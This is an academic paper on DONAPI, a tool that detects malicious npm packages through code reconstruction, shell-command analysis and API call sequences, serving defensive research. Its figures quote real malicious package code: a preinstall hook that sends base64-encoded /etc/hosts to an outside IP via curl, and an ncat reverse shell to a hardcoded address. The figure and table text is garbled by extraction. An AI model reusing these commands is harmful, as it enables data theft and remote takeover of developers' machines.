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Abstract

With the growing popularity of modularity in software devel-
opment comes the rise of package managers and language
ecosystems. Among them, npm stands out as the most exten-
sive package manager, hosting more than 2 million third-party
open-source packages that greatly simplify the process of
building code. However, this openness also brings security
risks, as evidenced by numerous package poisoning incidents.

In this paper, we synchronize a local package cache contain-
ing more than 3.4 million packages in near real-time to give
us access to more package code details. Further, we perform
manual inspection and API call sequence analysis on pack-
ages collected from public datasets and security reports to
build a hierarchical classification framework and behavioral
knowledge base covering different sensitive behaviors. In ad-
dition, we propose the DONAPI, an automatic malicious npm
packages detector that combines static and dynamic analysis.
It makes preliminary judgments on the degree of malicious-
ness of packages by code reconstruction techniques and static
analysis, extracts dynamic API call sequences to confirm and
identify obfuscated content that static analysis can not handle
alone, and finally tags malicious software packages based on
the constructed behavior knowledge base. To date, we have
identified and manually confirmed 325 malicious samples and
discovered 2 unusual API calls and 246 API call sequences
that have not appeared in known samples.

1 Introduction

JavaScript is increasingly popular as the demand for web
applications and web-based applets grows. It has become
one of the most widely used programming languages. Many
developers use third-party open-source libraries [55, 72] to
ensure development efficiency and reduce costs by leveraging
existing solutions. Open-source development models help
avoid redundant development efforts and lower expenses. Ad-
ditionally, statistics [32, 80] show that almost every JavaScript
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package relies on dependencies, and a project (e.g., next.js')
may depend on hundreds of third-party packages.

Npm (node package manager) is the default package man-
ager for the JavaScript runtime Node.js, consisting of an on-
line repository and a CLI (command-line interface). Since its
first introduction in 2009, it has grown in popularity due to its
ease of use and substantial package repository, with over 1.3
million packages and 100 billion downloads per month [46],
surpassing other package managers such as Maven and pip
as the most extensive package manager. While some compa-
nies and organizations maintain their package registries for
security reasons, npm remains the most widely recognized
and used package registry in the JavaScript community.

As npm gains popularity among developers, it also attracts
the attention of attackers. In 2022, an incident [65] occurred
where RIAEvangelist, the maintainer of the node-ipc” pack-
age, introduced malicious code into the repository and the
affected versions @ /0.1.1 and @10.1.2 contained code that
overwrote disk files. Subsequently, the attacker created the
peacenotwar3 module, which was included in the affected
node-ipc version and garnered over 1 million weekly down-
loads. Another example is the chalk-next package, which mim-
icked a well-known package called chalk* that modifies string
styles in the console. The attacker used the same README . md
to deceive developers and enable information theft. These
and others involving packages like eslint-scope’ and left-pad,
highlight that poisoning attacks targeting npm are no longer
isolated cases but are increasingly common occurrences [58].

In this paper, we propose DONAPI, which takes sensitive
application programming interfaces (APIs) and behavior se-
quences as the primary research object and combines static
and dynamic analysis techniques to detect malicious packages
and classify their categories automatically. The primary objec-
tive of DONAPI is to assist developers in establishing a secure

Uhttps://www.npmjs.com/package/next
Zhttps://www.npmjs.com/package/node-ipc
3https://www.npmjs.com/package/peacenotwar
“https://www.npmjs.com/package/chalk
Shttps://www.npmjs.com/package/eslint-scope
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dependency base by facilitating fast package review, reducing
the need for manual review, and proactively prevent of the
usage of malicious packages. As such, the detector focuses on
three key aspects: speed, accuracy, and comprehensiveness.
To evaluate its effectiveness, we collected a dataset of over
4,000 publicly available malicious packages and performed
several analyses, yielding the following findings:

* Batch poisoning: numerous malicious packages often
possess similar names while containing identical pay-
loads for executing malicious activities.

* Attack purposes: malicious packages have various objec-
tives, such as importing malware, stealing information,
creating reverse shells, and modifying files.

* Entry files: the attack payload of a malicious package is
commonly embedded in entry files.

¢ Code transformation: malicious packages employ code
transformation techniques such as obfuscation or com-
pression to evade static detection.

Based on these findings, we primarily focus the analysis
of our detector on the entry files. Research [52] has shown
that malicious packages often involve extensive network and
file operations. Therefore, we perform static analysis to ex-
tract API call sequences from the entry file and its dependent
files. These extracted sequences serve as features for training
classifiers to make an initial assessment of whether a pack-
age is malicious or not. Furthermore, the malicious packages
that pass the static screening and obfuscated packages that
cannot be handled undergo dynamic analysis. This step aims
to extract additional API call sequences and convert them
into sequences representing sensitive package behavior. Ulti-
mately, our detector provide hierarchical classification results
of behavior sequences, which is not available in the current
work [16, 36, 59]. In summary, the main contributions of our
work are as follows:

* Behavior Knowledge Base: a hierarchical classification
Jframework [30] based on 806 sensitive API calls and 44
behavior sequences that can automatically map the five
most common categories for malicious packages.

Detector DONAPI: an automated malicious package de-
tector, consisting of six primary modules, mixes code
analysis, machine learning, and natural language pro-
cessing techniques to directly map the final malicious
category for each detected package.

Effective Results: we build a local npm package cache
of over 3.4 million packages, capable of synchronizing
official replicate in near real-time and retaining deleted
malicious packages. DONAPI found 325 new malicious
packages with manual check, discovered 2 unusual API
calls and 246 API call sequences that have not appeared
in previous malicious samples.

2 Background

From an attacker’s perspective, software supply chain attacks
consists of three essential steps [59]: (1) publish a malicious
package; (2) get users to install it; (3) run the malicious code.
The first two steps are intricately connected, with the suc-
cess of the second step greatly influenced by the approach
employed in the first step. Moreover, these initial two steps
form the foundation of a software supply chain attack. Conse-
quently, we can further categorize these three steps into two
distinct phases: preparation and execution.

2.1 Preparation

While the preparation phase is not the primary focus of our
study, we will provide an overview here. One of the simplest
methods in this phase is to release a new package. However,
attackers often encounter obstacles at this step because of
incomplete or suspicious information, which makes users
cautious. In this context, attackers employ several methods.

Typosquatting [48, 67, 70]. Attackers employ names that
closely resemble popular packages when registering names
for malicious packages. This deceptive tactic leads some
users to download these malicious packages when they make
spelling mistakes unintentionally. One notable example is the
malicious package crossenv [64] mentioned in a Synk blog,
which imitates the popular package cross-env°. Despite hav-
ing similar functionality, the malicious version also includes
the unauthorized collection of user information.

Dependency Confusion [28]. This technique, known as
dependency repository hijacking, often employs strategies
similar to Namespacing [5]. It involves uploading a package
with the same name as certain packages in a private registry
but with a higher version number to the public npm registry.
As aresult, when users synchronize their packages, they un-
knowingly download the malicious package from a public
source. For instance, during one test attack, Birsan [2] discov-
ered the presence of a package called auth-PayPal being used
for PayPal development, even though it does not exist in the
official npm registry at that time.

On the other hand, a more challenging approach for an at-
tacker is to contribute directly as a maintainer of a legitimate
project. In this case, the attacker would then have to gain the
privileges needed to modify the code base of the legitimate
project by means that typically include using Social Engi-
neering (SE) techniques on legitimate project maintainers
[23], taking over legitimate accounts (e.g., reusing compro-
mised credentials [14] and account privilege transfers [25]),
by compromising the maintainer system (e.g., exploiting vul-
nerabilities [24]), and also by exploiting vulnerable points in
code maintenance (e.g., outdated domain names of maintain-
ers or lack of package maintenance [26, 79]). Finally, they
distribute malicious packages that cause users to introduce

Ohttps://www.npmjs.com/package/cross-env
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malicious code (both explicit and implicit) when downloading
or updating packages.

2.2 Execution

Before the user can execute it, a package must go through two
processes, installation and import, which is the stage where
the Open Source Security Foundation (OpenSSF)” has found
frequent security problems [8]. A package in npm consists of
the package. json® file and various code files that will play
a significant role in the above process.

1
Iname: |

name) -H Whoami: |
) -H Pwd: $(pwd ) |
|

|

|

|

B ostname -i ) $(s -
la)" hip://3.72.6.53

|7 "preinstall"; "curl hitps:/1293fbwv.x1 pel cat /etc/hosts[base64™, "preinstall"; “.pre.sh"

2
3

4

5.

6 "scripts" {
,

8

9

|
|
|
16 "scripts": { }
|
|

(a) package.json in 4ff-lib-foundation@11.0.7
:
— o e

Figure 1: The malicious commands during installation

Installation. The package. json file involved in the in-
stallation process includes a field called scripts’ that pro-
vides pre and post hooks for tasks such as preparation and
cleanup. While most of these commands are under the user’s
control, specific fields, such as preinstall, pose a signifi-
cant security risk [77]. As the name suggests, the commands
defined under this field are executed automatically before
the users install the package, allowing attackers to launch
malicious attacks. As shown in Figure I, the package 4ff-
lib-foundation@ 11.0.7 uses a combination of commands in
the preinstall field to encode the contents of the local
file /etc/host and send it to the external address; the pack-
age yb-trust-butils @ 103.99.99 calls the pre.sh file in the
preinstall and sends the sensitive information to the exter-
nal address with the curl command.

o - - = — == == === =-"3function PostCode(codestring) {
14 var post_data = querystring.stringify({

17 var post_options= {

(
}z "name"; “javascript-appfabric-logger”, s data” codestrng,

I

| 18  hostname: "134.209.68.193",

|
3 "version": "966.0.0", - } 161);
3 “"main""index.js", -
5 . ~ I
6} |

24 "Content-Length"; Buffer.byteLength(post_data),
name: ' )
6 exec('apt install -y ncat || apt-get install -y n

H 26 };

¢ cat [| yum 27 var post_req = https.request(post_options, function (res) => {
install -y ncat && nohup ncat -nv 134.200.68.193 4444 38 ressetEncoding('utfs');

-¢ /bin/bash &, (error, stdout, stderr) => { 29 res.on("data", function (chunk) {

7 if (error) { 30 console.log('Response: '+ chunk);
3

8 PostCode(error.message); 31

9 _retum; 2 By fle
10 3} - 33 > @  Seostive API>Behavior
e T~ — — 34post_req.write(post_data); io
12}); 35 post_req.end();

(b index js

Figure 2: The malicious code in javascript-appfabric-
logger @966.0.0 detected by DONAPI on June 5, 2023.

Import. In Node.js, when an object in one code file needs
to be accessed by another, it is often necessary to specify

"https://openssf.org/
8https://docs.npmjs.com/cli/v9/configuring-npm/package-json
“https://docs.npmjs.com/cli/v9/using-npm/scripts

it as an exported object. However, some packages import
without providing specific export content still have some side
effects, such as setting global configurations or executing
initialization code. In addition, when the user imports a new
module, it automatically executes the file in the main (or
exports) field. Therefore, these files is important to consider
when detecting malicious packages. As depicted in Figure 2,
if another package imports the package javascript-appfabric-
logger@966.0.0, it will call multiple APIs to obtain and send
sensitive information to an external address.

Code transformation techniques. Code transformation
techniques, called code obfuscation in our research scenario,
can convert a source program into a target program that is dif-
ficult to detect for static analysis without losing its behavior
or functionality [16]. Thus, attackers often use these tech-
niques, including renaming, dead code insertion, control flow
flattening, and encoding obfuscation [57], to mask their ma-
licious intent or increase the analysis complexity. However,
it is essential to note that these techniques are not limited to
attackers alone. Many legitimate developers also use code
transformation techniques to reduce code size or protect their
privacy and intellectual property [45]. Therefore, obfuscated
code alone is not a definitive indicator of malicious intent.

3 Methods

In this section, we present the entire processing flow of the
detector. The primary labeling technique of the proposed de-
tector is hierarchical classification using behavior sequences
derived from API call sequences of the packages. As shown in
the Figure 3, diagrams 1-6 represent different modules, which
we will describe in detail in the subsequent sections.

3.1 Code Dependencies Reconstructor

To better capture the API call sequences, we designed a code
dependency reconstructor for npm packages that simulates the
code execution during the processes of installation and import
of the packages by utilizing the Abstract Syntax Trees (ASTs)
technique, extracting and merging all the code involved into
a single . js file, and rename its parameters, functions, and
classes. The process is shown in the Algorithm 1, and the
basic steps and key points are described in detail below.
Entry files extraction. As mentioned in section 2.2, the
installation and import process is crucial for detecting mali-
cious packages, so we focus on the entrances involved in the
above process, including scripts, main, exports, imports,
bin. Within the scripts field, apart from the previously
mentioned hooks (i.e., preinstall and postinstall), de-
velopers can define custom fields executed via the npm run
<field>command. We use regular expressions to extract file-
names specified under the script field to capture these fields.
The main (or exports) field, which serves as the default en-
try point, automatically executes the appropriate files during
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Figure 3: The overall framework of DONAPI

package import. The imports field defines the imported sub-
paths for the current package. bin field creates some CLIs
that, in turn, execute specific files. We extract them from the
configuration file whenever present, regardless of whether the
package executes the specified file upon import.

Dependencies parsing. The purpose of dependencies pars-
ing is to resolve imports of other code files declared dynam-
ically in the code and retrieve the content of the imported
target files. In Node.js, different module systems have dif-
ferent import methods, which are require () function for
CommonJS'" and import statement for ECMAScript'' mod-
ules. Thus, we design two AST node parsing rule sets to adapt
to these module specifications. Although a package may con-
tain two module systems, typically, only one module system
is used per file, so we generated ASTs in file units. In the
AST, each code block (such as function declaration and class
declaration) and code lines not contained in code blocks are
defined as top-level nodes. The dependencies parsing process
traverses the top-level nodes, matches all nodes, including im-
port action, parses them recursively, and inserts the returned
AST into the original positions.

Objects modifying. To solve the problem of vari-
able ambiguity after merging different codes, we need
to unify the identifiers of imported and exported ob-
jects based on dependency resolution. Since the depen-
dency resolution process will merge code from different
files, and the merged code does not need to define any
exported objects, we first need to modify the exported
objects into general object declarations and unify their
names as export_<file_name>_<object_name>, where
file_name does not contain extensions and special charac-
ters are replaced by "$" to avoid duplication of variable names.
On the other hand, the import statement usually assigns the

1Ohttps://wiki.commonjs.org/wiki/CommonJS
https://www.ecma-international .org/publications-and-
standards/standards/ecma-262/

Algorithm 1: Code Dependencies Reconstructor

Input: Package (package.json, code files)
Output: Merged codes
Hyperparameters :recursion = 2

// Parsing package.json to get 5 entry points
entries = ExtractEntries (package.json);
2 foreach entry E; in entries do

—_

// Determine the type of file module
specification
3 moduleType = GetModuleType (E;, package.json);
// Generating abstract syntax trees using parsers
4 AST; = GenerateAST (E;, moduleType);
5 foreach rop-level node N; in AST; do
6 if N; is require/import statement then
// Get dependencies and download
7 dependencies = GetDependency (N;);
// Recursive resolving of dependencies
8 AST,,=ResolveDep (dependencies, recursion);
9 MergeAST (AST;, ASTy,p)
10 end
11 else if N; is exports/export statement then
// Modify export statement
12 variableName = variable name of N;
13 fileName = file name of E;;
14 remove export keyword in N;;
15 variableName — export_fileName_variableName;
16 end
17 end
// Convert the modified AST back to JS code
18 restoreE; = RestoreCodeFromAST (AST;);
19 allEntry.append(restoreE;);
20 end

21 return allEntry;

imported external object to a new identifier to call the external
function in the subsequent code, so each identifier member
corresponds to an external object during the actual code exe-
cution. Based on this principle, we rewrite the value assigned
to the new identifier as a new object that includes all exported
objects defined as its members in the target file.
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3.2 Malicious Shell Command Detector

In supply chain poisoning attacks, in addition to directly im-
planting malicious code, executing the attack through mali-
cious shell commands is a typical tactic hackers use. These
commands may exist in various places such as package. json
files, . sh files, or code. Therefore, we propose a malicious
shell command detector to address this issue.

Basic detection process. For the package. json file, our
detector parses and extracts all scripts field values as
bash commands and parses them to build the correspond-
ing ASTs using bashlex'” library. For . sh files, the detector
executes the file within a Docker sandbox in debug mode
using the command /bin/sh -x, capturing the executed com-
mand sequence. In the case of code, we focus on the pa-
rameters of standard API calls used for command execution
(including child_process.spawn, child_process.spawnSync,
child_process.exec, and child_process.execSync). In a similar
process to package. json file, these parameters are treated as
bash commands and processed using the same methodology
mentioned above. Then, the YARA rules shown in Appendix
A.2 are used to analyze the information extracted from these
bash commands and judge whether they are malicious.

learning model is introduced to detect it to balance accuracy
and efficiency. Regarding machine learning models, referring
to existing works [10, 38], we use features shown in Table 1.

After completing the above detection process and obtaining
the results, we record all malicious commands and forward
the packages without malicious commands to the downstream
tasks for further analysis.

3.3 Obfuscated Code Detector

As described in Section 2.2, code obfuscation affects the
effectiveness of static analysis, so we designed a machine-
learning-based model specifically to identify packages with
obfuscated code during installation and import. Ultimately, we
send obfuscated packages to the dynamic behavior extractor
and unobfuscated to the suspicious package static identifiers.

Table 2: Obfuscation features. "*" in "Ref." indicates that the
feature was partially modified in our research

Obfuscation Fea. Description Ref.

OF1 The ratio of compressed lines of code to original lines of code  new
The ratio of the number of spaces in the compressed code to

OF2 the number of spaces in the original code new
.. OF3 # of string function calls, e.g. "subString", "charAt" [1]
Table 1: Malicious URL features OF4 # of encoding function calls, such as "escape”, "String" new
OF5 # of occurrences of special characters, such as "%", "$", "\" [69]*
. OF6 # of lines of code [42]
URL Fea.  Description OF7 # of white spaces 2]
UF1 Longest subdomain entropy OF8 # of special nu!fnber,’%,‘ such as hex and unicode encoding [42]
UF2 Length of the longest subdomain OF9 Ave. length of identifiers new
- - OF10 Shannon entropy of identifiers [35]*
UF3 % of vowel letters in the longest subdomain -
- - OF11 Max. string length [29]
UF4 % of consonant letters in the longest subdomain name OFI2 # of strings over a certain length new
UF5 % of consecutive letters in the longest subdomain OF13 # of prototype method calls new
UF6 % of repeated letters in the longest subdomain OF14-OF25 Frequency of the keyword, such as "if”, else’ [69]*
UF7 % of numeric characters in the longest subdomain
UF8 Modity file permissions and create processes
UF9 gibberish test to determine the readability of the longest subdomain Numerous recent advancements [2(), 29] have been in ob-

UF10 Top-level domain types, including: xyz, br, us, etc.

Malicious URL detection process. In practical scenarios,
specific commands rely solely on accessing URLSs to fulfill
their intended functions, which means that the degree of mali-
ciousness of the URLs will determine whether the command
is malicious. With the attacker’s ability improvement [6], the
similarity between malicious and benign URLs among text
features has dramatically increased, challenging the static de-
tection methods of malicious URLs based on text features.
At present, a feasible way is to access the target URL in a
sandbox environment, capture the traffic during the communi-
cation, and analyze the maliciousness of the URL on this basis.
However, this method is time-consuming because the URL
needs to be accessed, which makes it challenging to meet
the detection efficiency requirement of DONAPI. Therefore,
we consider a compromise: allowlist combined with machine
learning. Specifically, first, we build a domain allowlist based
on Alexa Top 1M and use it to filter the target URLs. Next,
if the URL fails to hit any items in the allowlist, a machine

2https://github.com/idank/bashlex

fuscated code detection, but we remain committed to building
feature-based detectors due to the two distinct advantages.
First, previous research work [1, 29, 35, 42, 69] has exten-
sively used and effectively validated the effectiveness of fea-
tures in detecting obfuscated code. Second, the feature extrac-
tion process can be executed quickly, thus improving overall
efficiency. Therefore, based on the study of commonly used
obfuscation tools and methods [33, 57], we have carefully
distilled a set of 25 features based on keywords and code
structure and evaluated their importance, as shown in Ap-
pendix B. Table 2 details this comprehensive set of features.

For the model, we chose the Random Forest (RF) model
based on several primary reasons. First, RF excels at handling
high-dimensional data with many features. Second, in real-
world applications with often missing data, RF is just as good
at managing missing data while maintaining model accuracy,
which may be difficult for other algorithms to produce. Third,
RF can help identify the most influential features in distin-
guishing obfuscated data from unobfuscated data, thereby
revealing the underlying mechanisms of code obfuscation.
Furthermore, researchers [31, 39] have generally favored RF
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algorithms for detection tasks over other traditional machine
learning algorithms, such as Support Vector Machines (SVM),
Decision Trees (DT), and Naive Bayes (NB).

3.4 Suspicious Package Static Identifier

The main objective of the static detection module is to per-
form a robust and efficient maliciousness analysis of pack-
ages detected by the previous module as unobfuscated files
(involved in the process of installation and import). However,
considering that static analysis has certain limitations (e.g.,
poor environment awareness and low precision [7]) compared
to dynamic analysis and the combination of them can per-
form better [34, 61], another goal of this module is to perform
preliminary maliciousness assessments on a large number of
unobfuscated packages and screen out suspicious samples
to be sent to the dynamic module for further examination,
to reduce the burden of dynamic analysis and speed up the
overall process. The module includes the following two main
functional components:

API call sequence extraction. In addition to referring
to existing works [16, 59], we manually analyze many ac-
tual samples and ultimately focus on four different behaviors
during script code execution. 1) Network requests allow com-
munication over various protocols, such as sockets, HTTP,
FTP, etc. They are often used to leak sensitive information
[4], obtain malicious payloads [12], etc. 2) File system ac-
cesses allow file operations such as read, modify, chmod, etc.
They have been used to compromise SSH private keys [4],
overwrite files [65], etc. 3) Process operations allow process
creation, termination, and privilege changes. They have been
used to spawn individual malicious processes [60]. 4) Arbi-
trary code execution allows code generation and execution.
The infamous eval implements almost all possible functions.

To capture these behaviors as much as possible, we use
Node.js native APIs that implement the four behaviors de-
scribed above in the underlying layers of Node.js. Addition-
ally, even if executed through dependencies or wrapper func-
tions, the code reconstructor can merge code into a single
file for static analysis, meaning that this approach does not
miss sensitive behaviors. Drawing parallels to taint analysis
[34, 73], the foundation of our static analysis relies on API
call sequences, which aims to ascertain if there is a data flow
from source to sink. However, due to efficiency constraints
inherent in taint analysis, we opt to utilize solely the location
information of API calls to establish the presence of data flow.

We adhere to the "AST first, regex later" methodology to
extract sequences. AST is a potent tool for syntax analysis
and identifying pivotal system calls. However, it is essential
to acknowledge that the diverse nature of JavaScript syntax
and the inherent limitations of parsing tools may impede suc-
cessful parsing across the board. When conventional parsing
encounters obstacles, we resort to regex matching as a viable
alternative. While regex exhibits more constraints than AST,

it proves satisfactory in this context, especially considering
its role as a fallback option.

Feature engineering. Feature selection plays a key role,
as we initially chose the RF model to identify malicious pack-
ages. Striking the right balance is essential: if the feature
selection is overly strict, it may lead to a substantial number
of missed detections, thereby impacting the effectiveness of
subsequent analysis; conversely, if the feature selection is
too lenient, it can result in a high number of false positives,
significantly impeding the overall efficiency of the DONAPI.

Table 3: Behavior features

Behavior Fea. Description

BF1 Send sensitive information to the outside

BF2 Query system environment variables

BF3 Download the content and execute it as a string
BF4 Write to file and execute

BF5 Read the contents of the file and execute

BF6 Read files and execute code dynamically

BF7 Download content and execute code dynamically
BF8 Modify file permissions and create processes
BF9 Identify operating system platforms

BF10 Modify the data flow of system command execution results
BF11 Execute system commands

BF12 Number of Performing sensitive file operations

Through exploration, we found that identifying malicious
behaviors only by individual suspicious behaviors would gen-
erate high false positives and decrease the overall analysis
efficiency. So, we chose to detect potentially malicious be-
haviors during the installation phase of software packages
through a combination of behaviors as selected features. In
addition, existing studies have found significant differences
between benign and malicious packages in performing critical
behaviors, mainly including a range of native APIs perform-
ing essential functions such as file system access, network
requests, process manipulation, and arbitrary code execution.
For example, when stealing sensitive information, the code
execution behavior manifests as a network request and at-
tempts to access sensitive information before that step. In
addition, we are interested in modules such as the fs module,
the https module, and the child_process module. Ultimately,
we summarized 12 features in Table 3.

3.5 Dynamic Behavior Extractor

As described in Sections 3.3 and 3.4, dynamic analysis helps
to overcome the challenges encountered in static analysis,
especially in encryption, obfuscation and compression in
JavaScript code. Therefore, this module aims to perform run-
time API monitoring with API call sequence extraction for the
obfuscated and suspicious packages in the previous sections.

Monitoring methods. Most of the existing research [15,
56] on capturing API call sequences uses system call tracing
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tools (e.g., Strace'”, Sysdig'*), which are simple and effective,
but lack interpretability. Based on the open-source nature of
Node.js, we use API instrumentation that avoids capturing
non-package behaviors while having broader API coverage
(especially APIs that do not result in system calls). Specifi-
cally, we insert additional functional JavaScript code into key
API implementations to capture API calls and explicit param-
eters generated by packages during installation and import.
Moreover, we can locate the APIs called by the package to
specific code snippets based on call stack information, thus
allowing for an intuitive understanding of the package logic
at the code level and improving interpretability. For the de-
ployment, we engineered a Docker image that recompiles and
integrates modified Node.js source code atop the foundational
Ubuntu image. Then, we generate separate Docker containers
for each package and perform the processes of installation
and import within them, closely mimicking the behavior of
actual packages and capturing API call sequences precisely.

Monitoring scope. We monitored 132 APIs, including
native implementations such as file manipulation, network
connection, and process creation. Our analysis suggests these
APIs cover all potential API calls that facilitate malicious op-
erations. However, due to the low-level nature of these APIs,
package installation will result in some non-user side effects.
For example, the https.request is implicitly called to down-
load package dependencies and file manipulation APIs are
used to log the installation process. To address this issue, we
have filtered out these extraneous behaviors by analyzing the
function call stack of the API and determining the location
of parent function calls and function parameters. Our strat-
egy monitors malicious behaviors at the package installation
and import stages. Our research indicates that over 90% of
malicious packages activate during these stages (rather than
during exported function invocation), so we only considered
the execution of code involved in these phases. In our future
work, we aim to continually iterate the functional code of
API instrumentation and customize the API return values for
different scenarios. This strategy will enable us to emulate
a range of execution conditions and external dependencies,
thereby improving code coverage.

3.6 Hierarchical Classifier

API calls are critical for packages to achieve specific behav-
iors (benign or malicious) and are the basis of many existing
malware classification studies [3, 9, 37]. However, consider-
ing that the implementation of package behaviors is not only
related to some specific APIs but also greatly depends on the
call order of these APIs, e.g., the execution of a malicious
software import, which first requires a connection to an ex-
ternal network to download the software, and subsequently
to execute the corresponding commands, which can lead to a

Bhttps://github.com/strace/strace
4https://github.com/draios/sysdig

large number of false positives if the order is not taken into
account as can be demonstrated in Appendix A.1. Therefore,
to enhance the understanding of malicious package behaviors
and complement the insufficiency of using API call sets alone,
we chose to take the API calls order into account, and we
propose a hierarchical classification framework centered on
the API call sequences, as shown in Figure 4.

‘ PACKAGE

BEHAVIOR

Malicious Package Categories (5)
Sensitive file operation, Malicious software import ...

Sensitive Behavior Types (40)
FILE DELETE, FILE MODIFY, FILE CREATE ...

Sensitive Atomic Operations (806
API P

rmdir, fsP rm, fsP unlink ...

Figure 4: Hierarchical classification framework of malicious
packages

First, we map dynamically extracted APIs to specific behav-
iors and subsequently classify packages based on the forward
and backward order of these behaviors (API call sequence
order), using a bottom-up abstraction approach for the whole
process. In designing the framework, however, we used a top-
down approach to avoid explicitly modeling specific packages
based on their characteristics and to be more inclusive. Next,
we introduce the three layers of the framework: malicious
package categories, sensitive behaviors, and sensitive APIs.
For more detailed information, please visit the page [30].

Malicious packages. After studying the existing reports
of npm malicious packages [4, 53], we found that most mali-
cious npm packages steal user information by various means,
and a few other types exist [12]. Furthermore, we combed
through some of the studies [44, 54] on malware classifica-
tion, manually analyzed the collected malicious samples, and
now classified the malicious packages into five categories.
The categories are Sensitive information theft (M1), Sensitive
file operation (M2), Malicious software import (M3), Reverse
shell (M4), Suspicious command execution (MS5). These cat-
egories represent different attack purposes despite variations
in their specific implementations.

Sensitive behaviors. Malicious packages often use differ-
ent behaviors and sequences to achieve different purposes.
Therefore, we associate the category of malicious packages
with the corresponding sequence of behaviors. For example,
the sensitive information theft category follows the behavior
sequence: "Access sensitive information first and then send it
over the network." Therefore, based on the following criteria,
we define 12 behavior types (40 behavior subtypes in total).

e Mutual exclusion (types between atomic behaviors
should not overlap)

¢ Completeness (covering all possible sensitive behav-
iors)

* Non-ambiguous (type division is clear)
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* Repeatability (multiple classification results for an
atomic behaviors are consistent)

* Acceptability (logical and intuitive)
* Practical (can be used for in-depth research)

Sensitive APIs. APIs are fundamental to software function-
ality and are not inherently malicious. However, depending
on the user’s different behavioral intentions, certain APIs may
contribute to malicious behavior to varying degrees. There-
fore, we supplemented the APIs gathered from existing re-
search [16] with the native API functionality descriptions
from the official Node.js documentation'. Ultimately, we
identified 226 APIs (combined with parameters to form 806
sensitive APIs) that could potentially be used for malicious
purposes to represent the sensitive behaviors defined above at
the code level.

The hierarchical classification framework centered on API
call sequences is one of our work’s highlights, notable for its
generality and language independence, allowing for the devel-
opment of guidelines for different languages. Of course, for
consistency, we have also included malicious shell commands
in the relevant malicious package category. This additional as-
pect, while necessary, is separate from the central focus of this
section. Therefore, we will present the rules for categorizing
malicious shell commands in the Appendix A.2.

4 Experiments and Results

4.1 Datasets

Our dataset comprises multiple data sources, including se-
curity vendor blogs and existing sets of known malicious
samples. However, in many cases, these sources only pro-
vide information on malicious package names and version
numbers without disclosing the specific malicious code itself.
Therefore, it poses a challenge when attempting to download
packages directly from the official npm registry'®, which may
have been unpublished or deleted, resulting in the unavailabil-
ity of valid information through the official npm registry.

To overcome this challenge, we implemented a solution by
building a local package cache using npm replicate'’, which
is a CouchDB instance that offers a Change API'® to track
database changes. When building the local cache, we initially
copied all the metadata from npm to the local and downloaded
all the corresponding .tgz files. Later, we only need to use
change messages to perform local synchronization during the
synchronization process. However, unlike npm replicate, we
only mark packages as officially deleted and do not delete
the associated .tgz files. Thus, our dataset includes the raw

Bhttps://modejs.org/en/docs
16https://registry.npmijs.org/
Thttps://replicate.npmjs.com/

18https://replicate.npmjs.com/_changes?descending=true&include_docs=true

metadata of the npm registry as well as the .tgz files of the
removed packages, some of which may contain malicious
packages. We summarize the details of the collected dataset
in Table 4 for reference.

Table 4: Statistics of the malicious package datasets

Dataset Source Num
Redlili https://red-1ili.info/ 1,214
Backstabber https://dasfreak.github.io/Backstabbers-Knife-Collection/ 1,504
ReversingLabs https://blog.reversinglabs.com/blog 39
Maloss https://github.com/osssanitizer/maloss 332
Cuteboi https://cuteboi.info/ 500
Synk-blog https://snyk.io/blog/ 32
Lofygang https://gist.github.com/jossef 10
Sonatype-blog https://blog.sonatype.com/ 315
Local cache - 600+
Total - 4,546+
Total (in used) - 1,159

We found several problems when studying these datasets: 1)
Intersection of data exists; 2) The malicious code is the same
except for the external address; 3) The malicious behaviors
cannot be triggered (not in installation and import). Therefore,
in our analysis, we manually reviewed and de-duplicated these
samples and constructed a malicious dataset (1,159 in total).
Since some modules of Donapi play complementary roles in
detecting malicious packages, this part of the data is highly
varied, and we will present it in the corresponding evaluation.

4.2 Experiment Design

To evaluate whether our method achieves the three objectives
mentioned in the previous sections, we have formulated the
following research questions (RQs) to guide the experimental
design:

RQ1 Accuracy. How does the proposed method perform on
the dataset in terms of detection accuracy? (§4.3)

RQ2 Efficiency. Can the model handle a large number of
packages within a limited time? (§4.4)

RQ3 Validity. Can the detector find malicious packages in
the wild? How does it compare to other detectors? (§4.5)

4.3 Accuracy Evaluation (RQ1)

The DONAPI comprises multiple modules, each with specific
roles, working collaboratively to achieve malicious package
detection. To evaluate the detector, we conducted individual
evaluations on each module and assessed the overall perfor-
mance of the entire detector. The evaluation metrics include
precision, recall, and F1 score, considering malicious pack-
age detection as a binary classification task. The following
sections present each module’s experimental setup and results.
Furthermore, Section 4.3.2 on integrated evaluation compre-
hensively explains the causes of false alarms and omissions.

4.3.1 Partial Evaluation

Code dependencies reconstructor. We aim to merge the
actual running code into a single file while ensuring that the
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syntax is correct, and we are not concerned with whether or
not the merged code will run successfully. In addition, we use
the AST for reconstruction, and if there are no errors in the
process, we consider the output correct. Since the code merg-
ing process is file-based, we use the success rate of the output
file as an evaluation metric. We tested all newly released npm
packages from May 30, 2023, to June 1, 2023, totaling 28,874
packages and 579,269 files. The overall results, as shown
in Table 5, demonstrate that the code dependencies recon-
structor exhibits excellent usability, achieving an overall error
probability of less than 1%.

Table 5: Evaluation results for code dependencies reconstruc-
tor. "No." is the n'" day of the test period

No. #Packages #Files #Reconstruct error files #Total error files

#1 11,917 216,615 43 1,367 (0.63%)
#2 10,481 248,901 37 1,773 (0.71%)
#3 6,476 113,753 18 1,003 (0.88%)
Total 28,874 579,269 98 4,143 (0.72%)

! The total error consisting of Reconstruct errors and Parsing errors.

Table 6: Evaluation results for sub-detectors and DONAPI

Detector #Malicious/Obfuscated #Benign  Prec. Recall F1
MSCD 208 02 9854% 97.12%  97.82%
ocD 88 337 9425% 93.18%  93.71%
SPSI 147 567 9932% 100.00%  99.66%
DONAPI 1,159 3,000 98.88% 91.63% 95.12%

(Integral detector)

Sub-detectors. The main modules for this part of the veri-
fication are Malicious shell command detector (MSCD), Ob-
fuscated code detector (OCD), and Suspicious package static
identifier (SPSI), which will be replaced with name abbrevia-
tions later in the paragraph. As these sub-detectors identify
different aspects of a package, we prepared distinct datasets
for each of these three components. For MSCD, we collected
208 malicious and 92 benign commands, covering the five
malicious categories mentioned in Section 3.6, for validation
purposes. For OCD and SPSI, we assembled corresponding
datasets of obfuscated and malicious packages and split the
training and validation set into a 4:1 ratio. Table 6 shows the
specific number of packages and evaluation results.

Table 7: Comparative experiments on URL classifiers

Model Acc. Recall F1 Speed

. CPU: 1.465ms/it
LSTM+CNN-+Attention [47] 091 0.68  0.79 GPU: 0.041ms/it

